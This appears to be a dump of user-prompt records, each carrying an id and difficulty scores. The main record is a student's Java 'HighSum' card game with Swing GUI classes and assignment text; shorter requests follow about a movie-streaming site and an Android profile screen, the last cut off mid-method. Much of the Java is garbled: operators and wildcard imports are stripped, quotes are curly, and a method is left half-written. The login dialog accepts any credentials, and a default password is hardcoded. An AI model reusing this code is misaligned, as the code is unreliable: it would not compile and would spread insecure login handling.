this.dealer.shuffleCards();
this.chipsOnTable = 0;
boolean playerQuit = false;
for(int round = 1;round<=4;round++) {
this.view.displaySingleLine();
this.view.displayDealerDealCardsAndGameRound(round);
this.view.displaySingleLine();
if (round == 1) { //round 1 deal extra card
this.dealer.dealCardTo(this.player);
this.dealer.dealCardTo(this.dealer);
} else {
this.dealer.dealCardTo(this.player);
this.dealer.dealCardTo(this.dealer);
}
this.view.displayPlayerCardsOnHand(this.dealer);
this.view.displayBlankLine();
this.view.displayPlayerCardsOnHand(player);
this.view.displayPlayerTotalCardValue(player);
int whoCanCall = this.dealer.determineWhichCardRankHigher(dealer.getLastCard(), player.getLastCard());
if(whoCanCall==1) {//dealer call
int chipsToBet = this.view. getDealerCallBetChips();
//ask player want to follow?
char r = this.view.getPlayerFollowOrNot(this.player,chipsToBet);
if(r==‘y’) {
this.player.deductChips(chipsToBet);
this.chipsOnTable+=2chipsToBet;
this.view.displayPlayerNameAndLeftOverChips(this.player);
this.view.displayBetOntable(this.chipsOnTable);
}else {
playerQuit = true;
break;
}
}else {//player call
if(round==1) {//round 1 player cannot quit
int chipsToBet = view.getPlayerCallBetChip(this.player);
this.player.deductChips(chipsToBet);
this.chipsOnTable+=2chipsToBet;
this.view.displayBetOntable(this.chipsOnTable);
}else {
char r = this.view.getPlayerCallOrQuit();
if(r==‘c’) {
int chipsToBet = view.getPlayerCallBetChip(this.player);
this.player.deductChips(chipsToBet);
this.chipsOnTable+=2chipsToBet;
this.view.displayPlayerNameAndLeftOverChips(this.player);
this.view.displayBetOntable(this.chipsOnTable);
}else {
playerQuit = true;
break;
}
}
}
}
//check who win
if(playerQuit) {
this.view.displayPlayerNameAndLeftOverChips(this.player);
this.view.displayPlayerQuit();
}
else if(this.player.getTotalCardsValue()>this.dealer.getTotalCardsValue()) {
this.view.displayPlayerWin(this.player);
this.player.addChips(chipsOnTable);
this.chipsOnTable=0;
this.view.displayPlayerNameAndLeftOverChips(this.player);
}else if(this.player.getTotalCardsValue()<this.dealer.getTotalCardsValue()) {
this.view.displayDealerWin();
this.view.displayPlayerNameAndLeftOverChips(this.player);
}else {
this.view.displayTie();
this.player.addChips(chipsOnTable/2);
this.view.displayPlayerNameAndLeftOverChips(this.player);
}
//put all the cards back to the deck
dealer.addCardsBackToDeck(dealer.getCardsOnHand());
dealer.addCardsBackToDeck(player.getCardsOnHand());
dealer.clearCardsOnHand();
player.clearCardsOnHand();
}
}
package GUIExample;
import Model.Dealer;
import Model.HighSum;
import Model.Player;
import java.awt.BorderLayout;
import javax.swing.;
import javax.swing.;
import java.awt.;
import java.awt.event.ActionEvent;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
public class GameTableFrame extends JFrame {
private GameTablePanel gameTablePanel;
private Dealer dealer;
private Player player;
private JLabel shufflingLabel;
private JButton playButton;
private JButton quitButton;
public GameTableFrame(Dealer dealer, Player player) {
this.dealer = dealer;
this.player = player;
gameTablePanel = new GameTablePanel(dealer, player);
shufflingLabel = new JLabel(“Shuffling”);
shufflingLabel.setHorizontalAlignment(SwingConstants.CENTER);
playButton = new JButton(“Play”);
quitButton = new JButton(“Quit”);
addWindowListener(new WindowAdapter() {
@Override
public void windowClosing(WindowEvent e) {
System.exit(0);
}
});
playButton.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
shufflingLabel.setVisible(true);
HighSum highSum = new HighSum();
highSum.init(player.getLoginName(), “some_default_password”);
highSum.run();
updateScreen();
}
});
quitButton.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
System.exit(0);
}
});
// Create the main panel that contains both the game board and the buttons
JPanel mainPanel = new JPanel();
mainPanel.setLayout(new BorderLayout());
JPanel buttonsPanel = new JPanel();
buttonsPanel.add(playButton);
buttonsPanel.add(quitButton);
mainPanel.add(gameTablePanel, BorderLayout.CENTER);
mainPanel.add(buttonsPanel, BorderLayout.SOUTH);
mainPanel.add(shufflingLabel, BorderLayout.NORTH);
shufflingLabel.setVisible(false);
add(mainPanel);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
pack();
setLocationRelativeTo(null);
setVisible(true);
}
// This method updates the screen after each game
public void updateScreen() {
gameTablePanel.updateTable(dealer, player);
}
}
package GUIExample;
import java.awt.;
import javax.swing.;
import Model.;
public class GameTablePanel extends JPanel {
private Player player;
private Dealer dealer;
public GameTablePanel(Dealer dealer, Player player) {
setLayout(new BorderLayout());
setBackground(Color.GREEN);
setPreferredSize(new Dimension(1024, 768));
this.dealer = dealer;
this.player = player;
}
public void updateTable(Dealer dealer, Player player) {
this.dealer = dealer;
this.player = player;
repaint();
}
@Override
protected void paintComponent(Graphics g) {
super.paintComponent(g);
// Draw dealer’s cards
int dealerX = 50;
int dealerY = 100;
g.drawString(“Dealer”, dealerX, dealerY - 20);
dealerX = drawPlayerHand(g, dealer, dealerX, dealerY, true);
// Draw player’s cards
int playerX = 50;
int playerY = getHeight() - 200;
g.drawString(“Player”, playerX, playerY - 20);
playerX = drawPlayerHand(g, player, playerX, playerY, false);
// Draw chips on the table
g.setColor(Color.BLACK);
g.setFont(new Font(“Arial”, Font.PLAIN, 18));
g.drawString("Chips on the table: ", playerX + 50, playerY);
}
private int drawPlayerHand(Graphics g, Player p, int x, int y, boolean isDealer) {
int i = 0;
for (Card c : p.getCardsOnHand()) {
if (isDealer && i == 0) {
new ImageIcon(“images/back.png”).paintIcon(this, g, x, y);
} else {
c.paintIcon(this, g, x, y);
}
x += 100;
i++;
}
return x;
}
}
package GUIExample;
import javax.swing.;
import java.awt.;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
public class LoginDialog extends JDialog {
private JTextField loginField;
private JPasswordField passwordField;
private JButton loginButton;
private boolean loggedIn = false;
public LoginDialog(JFrame parent) {
super(parent, “Login”, true);
loginField = new JTextField(20);
passwordField = new JPasswordField(20);
loginButton = new JButton(“Login”);
loginButton.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
loggedIn = true;
dispose();
}
});
JPanel panel = new JPanel();
panel.setLayout(new GridLayout(3, 2));
panel.add(new JLabel(“Login:”));
panel.add(loginField);
panel.add(new JLabel(“Password:”));
panel.add(passwordField);
panel.add(loginButton);
add(panel);
pack();
setLocationRelativeTo(parent);
}
public String getLogin() {
return loginField.getText();
}
public String getPassword() {
return new String(passwordField.getPassword());
}
public boolean isLoggedIn() {
return loggedIn;
}
}
package Helper;
public class Keyboard {
public static String readString(String prompt) {
System.out.print(prompt);
return new java.util.Scanner(System.in).nextLine();
}
public static int readInt(String prompt) {
int input = 0;
boolean valid = false;
while (!valid) {
try {
input = Integer.parseInt(readString(prompt));
valid = true;
} catch (NumberFormatException e) {
System.out.println("** Please enter an integer “);
}
}
return input;
}
public static double readDouble(String prompt) {
double input = 0;
boolean valid = false;
while (!valid) {
try {
input = Double.parseDouble(readString(prompt));
valid = true;
} catch (NumberFormatException e) {
System.out.println(” Please enter a double “);
}
}
return input;
}
public static float readFloat(String prompt) {
float input = 0;
boolean valid = false;
while (!valid) {
try {
input = Float.parseFloat(readString(prompt));
valid = true;
} catch (NumberFormatException e) {
System.out.println(” Please enter a float “);
}
}
return input;
}
public static long readLong(String prompt) {
long input = 0;
boolean valid = false;
while (!valid) {
try {
input = Long.parseLong(readString(prompt));
valid = true;
} catch (NumberFormatException e) {
e.printStackTrace();
System.out.println(” Please enter a long “);
}
}
return input;
}
public static char readChar(String prompt,char[] choices) {
boolean validChoice = false;
char r = ’ ';
while(!validChoice) {
r = Keyboard.readChar(prompt+” “+charArrayToString(choices)+”:“);
if(!validateChoice(choices,r)) {
System.out.println(“Invalid input”);
}else {
validChoice = true;
}
}
return r;
}
private static String charArrayToString(char[] charArray) {
String s = “[”;
for(int i=0;i<charArray.length;i++) {
s+=charArray[i];
if(i!=charArray.length-1) {
s+=”,“;
}
}
s += “]”;
return s;
}
private static boolean validateChoice(char[] choices, char choice) {
boolean validChoice = false;
for(int i=0;i<choices.length;i++) {
if(choices[i]==choice) {
validChoice = true;
break;
}
}
return validChoice;
}
public static char readChar(String prompt) {
char input = 0;
boolean valid = false;
while (!valid) {
String temp = readString(prompt);
if (temp.length() != 1) {
System.out.println(” Please enter a character “);
} else {
input = temp.charAt(0);
valid = true;
}
}
return input;
}
public static boolean readBoolean(String prompt) {
boolean valid = false;
while (!valid) {
String input = readString(prompt);
if (input.equalsIgnoreCase(“yes”) || input.equalsIgnoreCase(“y”) || input.equalsIgnoreCase(“true”)
|| input.equalsIgnoreCase(“t”)) {
return true;
} else if (input.equalsIgnoreCase(“no”) || input.equalsIgnoreCase(“n”) || input.equalsIgnoreCase(“false”)
|| input.equalsIgnoreCase(“f”)) {
return false;
} else {
System.out.println(” Please enter Yes/No or True/False “);
}
}
return false;
}
public static java.util.Date readDate(String prompt) {
java.util.Date date = null;
boolean valid = false;
while (!valid) {
try {
String input = readString(prompt).trim();
if (input.matches(”\d\d/\d\d/\d\d\d\d")) {
int day = Integer.parseInt(input.substring(0, 2));
int month = Integer.parseInt(input.substring(3, 5));
int year = Integer.parseInt(input.substring(6, 10));
java.util.Calendar cal = java.util.Calendar.getInstance();
cal.setLenient(false);
cal.set(year, month - 1, day, 0, 0, 0);
date = cal.getTime();
valid = true;
} else {
System.out.println(" Please enter a date (DD/MM/YYYY) “);
}
} catch (IllegalArgumentException e) {
System.out.println(” Please enter a date (DD/MM/YYYY) “);
}
}
return date;
}
private static String quit = “0”;
public static int getUserOption(String title, String[] menu) {
displayMenu(title, menu);
int choice = Keyboard.readInt(“Enter Choice --> “);
while (choice > menu.length || choice < 0) {
choice = Keyboard.readInt(“Invalid Choice, Re-enter --> “);
}
return choice;
}
private static void displayMenu(String title, String[] menu) {
line(80, “=”);
System.out.println(title.toUpperCase());
line(80, “-”);
for (int i = 0; i < menu.length; i++) {
System.out.println(”[” + (i + 1) + “] " + menu[i]);
}
System.out.println(”[” + quit + “] Quit”);
line(80, “-”);
}
public static void line(int len, String c) {
System.out.println(String.format(”%” + len + “s”, " “).replaceAll(” “, c));
}
}
package Helper;
import java.security.MessageDigest;
public class Utility {
public static String getHash(String base)
{
String message=”“;
try{
MessageDigest digest = MessageDigest.getInstance(“SHA-256”);
byte[] hash = digest.digest(base.getBytes(“UTF-8”));
StringBuffer hexString = new StringBuffer();
for (int i = 0; i < hash.length; i++) {
String hex = Integer.toHexString(0xff & hash[i]);
if(hex.length() == 1) hexString.append(‘0’);
hexString.append(hex);
}
message = hexString.toString();
} catch(Exception ex){
throw new RuntimeException(ex);
}
return message;
}
public static void printLine(int num)
{
printLine(num,‘-’);
}
public static void printDoubleLine(int num)
{
printLine(num,‘=’);
}
public static void printLine(int num,char pattern)
{
for(int i =0;i<num;i++)
{
System.out.print(pattern);
}
System.out.println(”");
}
}
package Model;
import javax.swing.;
public class Card extends ImageIcon {
private String suit;
private String name;
private int value;
private int rank;
private boolean faceDown;
public Card(String suit, String name, int value, int rank) {
super(“images/” + suit + name + “.png”);
this.suit = suit;
this.name = name;
this.value = value;
this.rank = rank;
this.faceDown = false;
}
public boolean isFaceDown() {
return this.faceDown;
}
public void setFaceDown(boolean faceDown) {
this.faceDown = faceDown;
}
public String getSuit() {
return this.suit;
}
public String getName() {
return this.name;
}
public int getValue() {
return this.value;
}
public int getRank() {
return this.rank;
}
public String toString() {
if (this.faceDown) {
return “<HIDDEN CARD>”;
} else {
return “<” + this.suit + " " + this.name + “>”;
}
}
public String display() {
return “<”+this.suit+" “+this.name+” “+this.rank+”>";
}
}
//card rank
// D C H S
//1 1 2 3 4
//2 5 6 7 8
//3 9 10 11 12
//4 13 14 15 16
//5 17 18 19 20
//6 21 22 23 24
//7 25 26 27 28
//8 29 30 31 32
//9 33 34 35 36
//10 37 38 39 40
//J 41 42 43 44
//Q 45 46 47 48
//K 49 50 51 52
package Model;
import java.util.;
public class Dealer extends Player {
private Deck deck;
public Dealer() {
super(“Dealer”, “”, 0);
deck = new Deck();
}
public void shuffleCards() {
System.out.println(“Dealer shuffle deck”);
deck.shuffle();
}
public void dealCardTo(Player player) {
Card card = deck.dealCard(); // take a card out from the deck
player.addCard(card); // pass the card into the player
}
public void addCardsBackToDeck(ArrayList<Card> cards) {
deck.appendCard(cards);
}
//return 1 if card1 rank higher, else return 2
public int determineWhichCardRankHigher(Card card1, Card card2) {
if(card1.getRank()>card2.getRank()) {
return 1;
}else {
return 2;
}
}
}
package Model;
import java.util.;
public class Deck {
private ArrayList<Card> cards;
public Deck() {
cards = new ArrayList<Card>();
String[] suits = { “Diamond”, “Club”,“Heart”,“Spade”, };
for (int i = 0; i < suits.length; i++) {
String suit = suits[i];
Card card = new Card(suit, “Ace”, 1,1+i);
cards.add(card);
int c = 5;
for (int n = 2; n <= 10; n++) {
Card oCard = new Card(suit, “” + n, n,c+i);
cards.add(oCard);
c+=4;
}
Card jackCard = new Card(suit, “Jack”, 10,41+i);
cards.add(jackCard);
Card queenCard = new Card(suit, “Queen”, 10,45+i);
cards.add(queenCard);
Card kingCard = new Card(suit, “King”, 10,49+i);
cards.add(kingCard);
}
}
public Card dealCard() {
return cards.remove(0);
}
//add back one card
public void appendCard(Card card) {
cards.add(card);
}
//add back arraylist of cards
public void appendCard(ArrayList<Card> cards) {
for(Card card: cards) {
this.cards.add(card);
}
}
public void shuffle() {
Random random = new Random();
for(int i=0;i<10000;i++) {
int indexA = random.nextInt(cards.size());
int indexB = random.nextInt(cards.size());
Card cardA = cards.get(indexA);
Card cardB = cards.get(indexB);
cards.set(indexA, cardB);
cards.set(indexB, cardA);
}
}
//for internal use only
private void showCards() {
for (Card card : cards) {
System.out.println(card);
}
}
//for internal use only
private void displayCards() {
for (Card card : cards) {
System.out.println(card.display());
}
}
public static void main(String[] args) {
Deck deck = new Deck();
//deck.shuffle();
/Card card1 = deck.dealCard();
Card card2 = deck.dealCard();
Card card3 = deck.dealCard();
deck.showCards();
ArrayList<Card> cards = new ArrayList<Card>();
cards.add(card1);
cards.add(card2);
cards.add(card3);
deck.appendCard(cards);
System.out.println();/
deck.displayCards();
}
}
//card rank
//D C H S
//1 1 2 3 4
//2 5 6 7 8
//3 9 10 11 12
//4 13 14 15 16
//5 17 18 19 20
//6 21 22 23 24
//7 25 26 27 28
//8 29 30 31 32
//9 33 34 35 36
//10 37 38 39 40
//J 41 42 43 44
//Q 45 46 47 48
//K 49 50 51 52
package Model;
import Controller.;
import View.;
import GUIExample.LoginDialog;
import GUIExample.GameTableFrame;
import javax.swing.JOptionPane;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
public class HighSum {
private Dealer dealer;
private Player player;
private ViewController view;
private GameController gc;
private int chipsOnTable;
public HighSum() {
}
public void init(String login, String password) {
// Create all the required objects
this.dealer = new Dealer();
this.player = new Player(login, password, 50);
this.view = new ViewController();
// Bring them together
this.gc = new GameController(this.dealer, this.player, this.view);
}
private Player checkWinner() {
if(player.getTotalCardsValue() > dealer.getTotalCardsValue())
return player;
else if(player.getTotalCardsValue() < dealer.getTotalCardsValue())
return dealer;
else
return null;
}
public Dealer getDealer() {
return dealer;
}
public Player getPlayer() {
return player;
}
public void run() {
// Setup the game table
GameTableFrame gameTableFrame = new GameTableFrame(dealer, player);
// Starts the game!
boolean carryOn = true;
while (carryOn) {
runOneRound();
gameTableFrame.updateScreen();
if (!gc.getPlayerQuitStatus()) {
int response = JOptionPane.showConfirmDialog(
gameTableFrame,
“Do you want to play another game?”,
“New Game”,
JOptionPane.YES_NO_OPTION
);
carryOn = response == JOptionPane.YES_OPTION;
} else {
carryOn = false;
}
}
this.view.displayPlayerNameAndLeftOverChips(this.player);
this.view.displayExitGame();
gameTableFrame.dispose();
}
public void runOneRound() {
this.view.displayGameTitle();
this.view.displayDoubleLine();
this.view.displayPlayerNameAndChips(this.player);
this.view.displaySingleLine();
this.view.displayGameStart();
this.view.displaySingleLine();
this.dealer.shuffleCards();
this.chipsOnTable = 0;
boolean playerQuit = false;
for (int round = 1; round <= 4; round++) {
// Code remains same until here
// Check if the player wants to follow or quit
char r;
int chipsToBet;
if (round == 1) {
chipsToBet = this.view.getPlayerCallBetChip(this.player);
} else {
chipsToBet = this.view.getDealerCallBetChips();
}
}
Player winner = checkWinner();
if(playerQuit){
this.view.displayPlayerNameAndLeftOverChips(this.player);
this.view.displayPlayerQuit();
}
}
/* public static void main(String[] args) {
LoginDialog loginDialog = new LoginDialog(null);
loginDialog.setVisible(true);
if (loginDialog.isLoggedIn()) {
String login = loginDialog.getLogin();
String password = loginDialog.getPassword();
HighSum highSum = new HighSum();
highSum.init(login, password);
highSum.run();
}
}/
}
package Model;
import java.util.;
public class Player extends User{
private int chips;
protected ArrayList<Card> cardsOnHand;
public Player(String loginName, String password, int chips) {
super(loginName, password);
this.chips = chips;
this.cardsOnHand = new ArrayList<Card>();
}
public int getChips() {
return this.chips;
}
public void addChips(int amount) {
this.chips+=amount;//no error check
}
public void deductChips(int amount) {
this.chips-=amount;//no error check
}
public void addCard(Card card) {
this.cardsOnHand.add(card);
}
public ArrayList<Card> getCardsOnHand() {
return this.cardsOnHand;
}
public int getTotalCardsValue() {
int total = 0;
for(Card card: this.cardsOnHand) {
total+=card.getValue();
}
return total;
}
public Card getLastCard() {
return this.cardsOnHand.get(this.cardsOnHand.size()-1);
}
public void clearCardsOnHand() {
this.cardsOnHand.clear();
}
//Think of the action that a player can take
//implement more related methods here
public static void main(String[] args) {
// TODO Auto-generated method stub
Player player = new Player(“IcePeak”,“A”,100);
System.out.println(player.getChips());
player.deductChips(10);
System.out.println(player.getChips());
player.addChips(20);
System.out.println(player.getChips());
}
}
package Model;
import Helper.;
abstract public class User {
private String loginName;
private String hashPassword;
public User(String loginName, String password) {
this.loginName = loginName;
this.hashPassword = Utility.getHash(password);
}
public String getLoginName() {
return this.loginName;
}
public boolean checkPassword(String password) {
return this.hashPassword.equals(Utility.getHash(password));
}
}
package View;
import Helper.;
import Model.*;
//all input and output should be done view ViewController
//so that it is easier to implement GUI later
public class ViewController {
public void displayExitGame() {
System.out.println(“Thank you for playing HighSum game”);
}
public void displayBetOntable(int bet) {
System.out.println(“Bet on table : “+bet);
}
public void displayPlayerWin(Player player) {
System.out.println(player.getLoginName()+” Wins!”);
}
public void displayDealerWin() {
System.out.println(“Dealer Wins!”);
}
public void displayTie() {
System.out.println(“It is a tie!.”);
}
public void displayPlayerQuit() {
System.out.println(“You have quit the current game.”);
}
public void displayPlayerCardsOnHand(Player player) {
System.out.println(player.getLoginName());
if(player instanceof Dealer) {
for (int i = 0; i < player.getCardsOnHand().size(); i++) {
if (i == 0) {
System.out.print(”<HIDDEN CARD> “);
} else {
System.out.print(player.getCardsOnHand().get(i).toString() + " “);
}
}
} else {
for (Card card : player.getCardsOnHand()) {
System.out.print(card + " “);
}
}
System.out.println();
}
public void displayBlankLine() {
System.out.println();
}
public void displayPlayerTotalCardValue(Player player) {
System.out.println(“Value:”+player.getTotalCardsValue());
}
public void displayDealerDealCardsAndGameRound(int round) {
System.out.println(“Dealer dealing cards - ROUND “+round);
}
public void displayGameStart() {
System.out.println(“Game starts - Dealer shuffle deck”);
}
public void displayPlayerNameAndChips(Player player) {
System.out.println(player.getLoginName()+”, You have “+player.getChips()+” chips”);
}
public void displayPlayerNameAndLeftOverChips(Player player) {
System.out.println(player.getLoginName()+”, You are left with “+player.getChips()+” chips”);
}
public void displayGameTitle() {
System.out.println(“HighSum GAME”);
}
public void displaySingleLine() {
for(int i=0;i<30;i++) {
System.out.print(”-“);
}
System.out.println();
}
public void displayDoubleLine() {
for(int i=0;i<30;i++) {
System.out.print(”=“);
}
System.out.println();
}
public char getPlayerCallOrQuit() {
char[] choices = {‘c’,‘q’};
char r = Keyboard.readChar(“Do you want to [c]all or [q]uit?:”,choices);
return r;
}
public char getPlayerFollowOrNot(Player player, int dealerBet) {
boolean validChoice = false;
char[] choices = {‘y’,‘n’};
char r = ‘n’;
while(!validChoice) {
r = Keyboard.readChar(“Do you want to follow?”,choices);
//check if player has enff chips to follow
if(r==‘y’ && player.getChips()<dealerBet) {
System.out.println(“You do not have enough chips to follow”);
displayPlayerNameAndChips(player);
}else {
validChoice = true;
}
}
return r;
}
public char getPlayerNextGame() {
char[] choices = {‘y’,‘n’};
char r = Keyboard.readChar(“Next game?”,choices);
return r;
}
public int getPlayerCallBetChip(Player player) {
boolean validBetAmount = false;
int chipsToBet = 0;
while(!validBetAmount) {
chipsToBet = Keyboard.readInt(“Player call, state bet:”);
if(chipsToBet<0) {
System.out.println(“Chips cannot be negative”);
}else if(chipsToBet>player.getChips()) {
System.out.println(“You do not have enough chips”);
}else {
validBetAmount = true;
}
}
return chipsToBet;
}
public int getDealerCallBetChips() {
System.out.println(“Dealer call, state bet: 10”);
return 10;
}
}
”
These are the requirements:
“On completion of this assignment a student should be able to write a Java application
that:
• Makes use of Java API “Swing” and “AWT” packages
• Handles generated events
• Makes use of layout manager to organize the GUI components
• Know how to apply and design a program using object-oriented concepts
2. Task
Enhance the one player Java game application “HighSum” done in Assignment 1 with Graphical User Interface (GUI).
2.1 Login
The game starts by the player logging into the game.
2.2 Play Game
The game starts after the player click on “Login”.
First, the dealer will shuffles the deck.
(You may include animation in this frame to simulate “shuffle” effect as enhancement.)
Then the dealer deals two cards from the top of the deck to the player and itself.
Since the player’s last card is higher than the dealer’s last card, the player gets to Call the game.
Assume the player states 10 as the bet chips.
The player’s chip will be deducted by 10.
The chips on table will be updated to 20 and the dealer deals cards for next round.
Assume the dealer’s last card is higher than the player’s last card.
The dealer Call the game and the player gets to choose to Follow or Quit the game.
If the player follows the game, 10 chips will be deducted from the player’s balance chips.
(Asumme the dealer place 10 chips.)
The games carry on for maximum of four rounds.
In the last round, the player with the highest total sum wins the game.
And the game continues until the player exits the game.
Error Handling
Your program should be able to handle error situations like where a player enter wrong password or has insufficient chips.
You should look out for other possible exceptions and handle them too.”
There is an error in the code “Description Resource Path Location Type
The constructor GameTableFrame(HighSum) is undefined HighSumGUI.java /A3Skeleton/src/GUIExample line 29 Java Problem
”
|
7ebb08b0b65e0c00c0764557286cd84c
|
{
"intermediate": 0.30466094613075256,
"beginner": 0.4602215886116028,
"expert": 0.23511749505996704
}
|
9,418
|
Explain step by step, in detail how I would host a movie streaming website from scratch, where Heroku hosts the APIs and Webflow is for the front end. How I want it to work is that whenever a new movie is added a new page is generated on the Webflow site with the movie, and the movie should also be added to the relevant browse/search functions on Webflow. In your output you should give me full html/css/javascript for each of the pages on the website. Note I want to host this all on my custom domain, kritica.xyz, which is hosted on Cloudflare. Be as specific as possible, covering each and every step, and including full code snippets. DO NOT BE GENERIC OR MISS ANY STEPS, you should not leave anything for me to do or figure out; by following your instructions I should have a finished product.
|
d9303921f9809aa324c09919a9647c1f
|
{
"intermediate": 0.5774297118186951,
"beginner": 0.2472148835659027,
"expert": 0.17535540461540222
}
|
9,419
|
python I've got a file which I run in the command line how would I compile the py file into an exe and include the other exe within it
|
ed82ac906ca48e5384a4db65e5209602
|
{
"intermediate": 0.5066483020782471,
"beginner": 0.27055880427360535,
"expert": 0.22279290854930878
}
|
9,420
|
после выбора картинки пользователем , убирается фон , твоя задача сделат так чтобы этот фон не появлялся после перезагрузки приложения : package com.example.myapp_2.Data.Discount_Get_table;
import static android.app.Activity.RESULT_OK;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.BitmapShader;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.provider.MediaStore;
import android.util.Base64;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentManager;
import androidx.fragment.app.FragmentTransaction;
import com.example.myapp_2.Data.register.LoginFragment;
import com.example.myapp_2.Data.register.User;
import com.example.myapp_2.Data.register.UserDAO;
import com.example.myapp_2.R;
import com.example.myapp_2.UI.view.fragments.FirstFragment;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.List;
import de.hdodenhof.circleimageview.CircleImageView;
public class ProfileFragment extends Fragment {
private UserDAO userDAO;
private int userId;
private User user;
private EditText editTextName, editTextEmail, editTextPassword;
private Button buttonUpdate;
public ProfileFragment() {
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
userDAO = new UserDAO(getActivity());
userDAO.open();
// получение id последнего авторизовавшегося пользователя
SharedPreferences sharedPreferences = getActivity().getSharedPreferences("myPrefs_profile", Context.MODE_PRIVATE);
List<User> users = userDAO.getAllUsers();
SharedPreferences prefs = getActivity().getSharedPreferences("MY_PREFS_NAME", getActivity().MODE_PRIVATE);
int profile_num = prefs.getInt("profile_num", 0); // 0 - значение по умолчанию
userId = sharedPreferences.getInt("lastLoggedInUserId", profile_num);
// получение данных пользователя по его id
user = userDAO.getUserById(userId);
}
@SuppressLint("MissingInflatedId")
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.profile, container, false);
Animation anim = AnimationUtils.loadAnimation(getActivity(), R.anim.fragment_transition_animation);
anim.setDuration(200);
view.startAnimation(anim);
ImageButton btnFirstFragment = view.findViewById(R.id.btn_first_fragment);
btnFirstFragment.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
getFragmentManager().popBackStack();
FragmentTransaction transaction = requireActivity().getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.nav_container, new FirstFragment());
transaction.addToBackStack(null);
transaction.commit();
}
});
ImageView imageViewProfile = view.findViewById(R.id.imageButtonProfile);
imageViewProfile.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
// вызов диалогового окна для выбора изображения
Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
intent.setType("image/");
startActivityForResult(Intent.createChooser(intent, "Select Picture"), 1);
}
});
SharedPreferences sharedPreferences = getActivity().getSharedPreferences("myPrefs_profile", Context.MODE_PRIVATE);
String imagePath = sharedPreferences.getString("profile_picture_path", null);
// отображение сохраненного изображения на месте круглой иконки
if(imagePath != null) {
Bitmap bitmap = BitmapFactory.decodeFile(imagePath);
int paddingPx = (int) getResources().getDimension(R.dimen.profile_image_padding);
imageViewProfile.setPadding(paddingPx, paddingPx, paddingPx, paddingPx);
Bitmap circleBitmap = Bitmap.createBitmap(bitmap.getWidth(), bitmap.getHeight(), Bitmap.Config.ARGB_8888);
BitmapShader shader = new BitmapShader(bitmap, BitmapShader.TileMode.CLAMP, BitmapShader.TileMode.CLAMP);
Paint paint = new Paint();
paint.setShader(shader);
Canvas c = new Canvas(circleBitmap);
c.drawCircle(bitmap.getWidth()/2, bitmap.getHeight()/2, bitmap.getWidth()/2, paint);
imageViewProfile.setImageBitmap(circleBitmap);
}
getActivity().findViewById(R.id.bottomNavigationView).setVisibility(View.VISIBLE);
// отображение данных последнего авторизовавшегося пользователя
TextView textViewName = view.findViewById(R.id.textViewName_2);
textViewName.setText(getLastLoggedInUser().getName());
TextView textViewEmail = view.findViewById(R.id.editTextEmail_2);
textViewEmail.setText(getLastLoggedInUser().getEmail());
TextView textViewPassword = view.findViewById(R.id.password_2);
textViewPassword.setText(getLastLoggedInUser().getPassword());
return view;
}
// метод получения данных последнего авторизовавшегося пользователя
private User getLastLoggedInUser() {
return userDAO.getUserById(userId);
}
// метод обновления данных пользователя
private void updateUser() {
String name = editTextName.getText().toString();
String email = editTextEmail.getText().toString();
String password = editTextPassword.getText().toString();
// обновление данных пользователя в базе данных
user.setName(name);
user.setEmail(email);
user.setPassword(password);
userDAO.updateUser(user);
// отправка результата в MainActivity
Intent intent = new Intent();
intent.putExtra("profile_updated", true);
intent.putExtra("user_id", userId);
getActivity().setResult(RESULT_OK, intent);
getActivity().finish();
}
@Override
public void onDestroy() {
super.onDestroy();
userDAO.close();
}
@Override
public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == 1 && resultCode == RESULT_OK && data != null && data.getData() != null) {
// получение выбранного изображения
Uri imageUri = data.getData();
try {
// конвертация изображения в Bitmap
Bitmap bitmap = MediaStore.Images.Media.getBitmap(getActivity().getContentResolver(), imageUri);
// создание круглого Bitmap
Bitmap circleBitmap = Bitmap.createBitmap(bitmap.getWidth(), bitmap.getHeight(), Bitmap.Config.ARGB_8888);
BitmapShader shader = new BitmapShader(bitmap, BitmapShader.TileMode.CLAMP, BitmapShader.TileMode.CLAMP);
Paint paint = new Paint();
paint.setShader(shader);
Canvas c = new Canvas(circleBitmap);
c.drawCircle((bitmap.getWidth()+100) / 2, (bitmap.getHeight()+100) / 2, (bitmap.getWidth()+100) / 2, paint);
// сохранение круглого изображения в файл
saveImageToStorage(circleBitmap);
// отображение круглого изображения на месте круглой иконки
CircleImageView imageViewProfile = getView().findViewById(R.id.imageButtonProfile);
imageViewProfile.setImageBitmap(circleBitmap);
imageViewProfile.setBackground(null);
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void saveImageToStorage(Bitmap bitmap) {
try {
// создание файла для сохранения изображения
File storageDir = getActivity().getExternalFilesDir(Environment.DIRECTORY_PICTURES);
File imageFile = File.createTempFile(
"profile_picture_", ".jpg",
storageDir);
// сохранение изображения в файл
FileOutputStream out = new FileOutputStream(imageFile);
